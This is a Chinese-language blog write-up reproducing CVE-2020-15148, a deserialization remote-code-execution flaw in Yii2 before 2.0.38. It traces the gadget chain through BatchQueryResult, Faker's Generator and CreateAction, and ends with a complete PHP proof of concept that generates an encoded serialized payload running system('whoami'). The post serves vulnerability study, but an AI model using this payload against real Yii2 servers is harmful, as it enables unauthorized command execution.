[php反序列化] CVE-2020-15148(Yii2 反序列化漏洞) 漏洞复现

漏洞影响范围

Yii2 < 2.0.38

环境搭建

Yii2.0.37

漏洞分析

首先定位到漏洞起始点

为什么是这儿?我们该怎么发现是某个类的某个函数?为什么不是其他函数?
一般是__destruct函数,而不选__wakeup函数。和开发的习惯有关,在__wakeup函数中一般是对反序列化的一种限制,例如安全检测等。所以常见的反序列化漏洞起始点是从__destruct函数开始的

image

跟进reset函数,如果内类不存在该方法,则可以进行__call方法的利用过程

image

其中$this->_dateReader可控,直接进入__call方法的利用过程。全局搜索__call方法

小细节:当对无法访问的属性或者方法进行操作时,就会将其作为第一个参数传进__call或着__get __set等,如果调用方法同时还传入了参数,参数将会保存至__call方法的第二个变量中。这也是为什么后面需要将数组索引设置为close的原因

image

跟进format函数

image

看到call_user_func_array就差不多可以说明存在rce了,但这里只能进行无参调用就有点鸡肋

这里还有个小trick,可以通过[$object,$method]() 进行类内方法调用,后续就是这样构造的

貌似对于命名空间和使用命名空间的类的使用不熟悉
对于框架文件到底是怎么访问的也不是特别明白

成功执行phpinfo代码,但这样还是不能进行RCE,所以我们下一步应该找一个无参且和RCE有关的函数

image

(上面会不会调用__invoke??)先跟着正常思路走一波

由于是无参函数的调用,所以我们直接使用正则表达式,匹配到无参函数且包含call_user_func

至于为什么要包含call_user_func?而不是其他的system,exec等函数,我想调用链是慢慢找出来的,可能对于这个漏洞最开始来说发现就是这种链子吧。等自己熟悉了,再慢慢挖自己想要的链子

function \w*()\n? {(.\n)+ *call_user_func

image

两个位置的变量都可控,所以就可以RCE,构造POC

<?php
namespace yii\rest{
    class CreateAction{
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
        
    }
}

namespace Faker{
    use yii\rest\CreateAction;
    class Generator
    {
        protected $formatters;
 
        public function __construct()
        {
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
 
namespace{
 
    use yii\db\BatchQueryResult;
 
    echo urlencode(base64_encode(serialize(new BatchQueryResult())));
}

image

成功

当然,还有很多链,只要思路广,道路千千万

posted @ 2021-12-07 22:36  Aur0ra*  阅读(513)  评论(0编辑  收藏  举报